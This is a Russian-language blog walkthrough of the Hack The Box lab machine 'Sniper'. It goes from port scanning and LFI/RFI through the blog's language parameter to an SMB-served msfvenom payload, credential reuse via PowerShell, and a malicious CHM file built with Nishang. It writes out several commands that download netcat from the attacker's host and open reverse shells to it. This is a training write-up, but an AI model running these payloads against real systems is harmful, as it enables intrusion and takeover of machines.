Hack The Box. Прохождение Sniper. RFI и вредоносный CHM документ

image


Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье эксплуатируем RFI, обходим блокировку shell meterpreter и создаем вредоносный CHM документ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.151, который я добавляю в /etc/hosts.
10.10.10.151 sniper.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap«ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.151 --rate=1000


image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A sniper.htb -p80,135,139,445


image

На хосте открыто 4 порта, узнаем, что нам может дать веб-сервер.

image

Первые три ссылки пустые, а вот две других привели на страницы блога и авторизации.

image

image

Учетные данные типа admin: admin не подходят, а вот на странице блога интересный выбор языка.

image

Сразу возникают мысли о LFI. Давайте прочитаем один из доступных всем для чтения файлов, например hosts (и в Linux, и в Windows).

image

Идея подтвердилась, имеем LFI.

Entry Point


Но есть возможность попробовать и RFI. Создадим тестовый файл.

image

Развернем локальный SMB сервер SAMBA. Для этого напишем соответствующие конфигурации в файл /etc/samba/smb.conf. Нужно прописать путь к директории и дать разрешения для доступа от имени гостя.

image

Теперь запустим smbd службу.

service smbd start


И обратившись к ресурсу, получим положительный результат.

image

Теперь кидаем нагрузку. Создадим ее с помощью msfvenom, затем активируем листенер.

image

image

Обращаемся к файлу. И получаем подключение.

image

image

Так как на сайте была страница авторизации, то мы можем найти хоть какие-нибудь учетные данные. Мы находимся в директории страницы blog.

image

Давайте скачаем все, что есть в директории user.

image

Позже, просматривая все файлы на локальном хосте, находим учетные данные для подключения к базе.

image

USER


Узнаем пользователей в системе. Но вот при выполнении любой команды через shell в meterpreter, получаем обрыв соединения. Неужели блокируется cmd? Попробуем обойти блокировку за счет создания процесса powershell в скрытом от просмотра (-H) интерактивном режиме (-i) с передачей нашей команды в качестве параметры (-a).

execute -f powershell -a "net users" -i -H


image

А теперь давайте попробуем выполнить команду в контексте данного пользователя. Для этого в качестве параметра передадим следующий скриптик в powershell.

execute -f powershell -a "$username = 'SNIPER\Chris' ; $password = '36mEAhz/B8xQ~2VM' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername SNIPER -credential $credential -scriptblock { whoami }" -i -H


image

Загрузим на хост netcat. Для этого в директории с ним запустим HTTP сервер.

python3 -m http.server 80

И выполним загрузку.

execute -f powershell -a "$username = 'SNIPER\Chris' ; $password = '36mEAhz/B8xQ~2VM' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername SNIPER -credential $credential -scriptblock { iwr 10.10.15.55/nc -o C:\\Users\\Chris\\Documents\\nc.exe }" -i -H

Теперь запускаем у себя netcat, выполняем подключение и получаем сессию пользователя.

execute -f powershell -a "$username = 'SNIPER\Chris' ; $password = '36mEAhz/B8xQ~2VM' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername SNIPER -credential $credential -scriptblock { C:\\Users\\Chris\\Documents\\nc.exe -e powershell 10.10.15.55 6543}" -i -H


image

ROOT


Немного побродив по пользовательским директориям, найдем chm файл. Не понятно зачем он нужен.

image

На диске C: в папке Docs оставлена записка, в которой говорится, что пользователь не умеет работать с PHP и должен подготовить документацию. Оставить документы нужно в данной папке.

image

Установим HTML Help Workshop. А потом сгенерируем вредоносный CHM файл с помощью Out-Chm из пакета Nishang.

Out-CHM -Payload "C:\\Users\\Chris\\Documents\\nc.exe -e powershell 10.10.15.55 8765" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"


image

Теперь сохраним в целевую директорию на удаленном хосте наш файл.

wget http://10.10.15.55/doc.chm -o C:\Docs\doc.chm

И получаем сессию администратора.

image

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

© Habrahabr.ru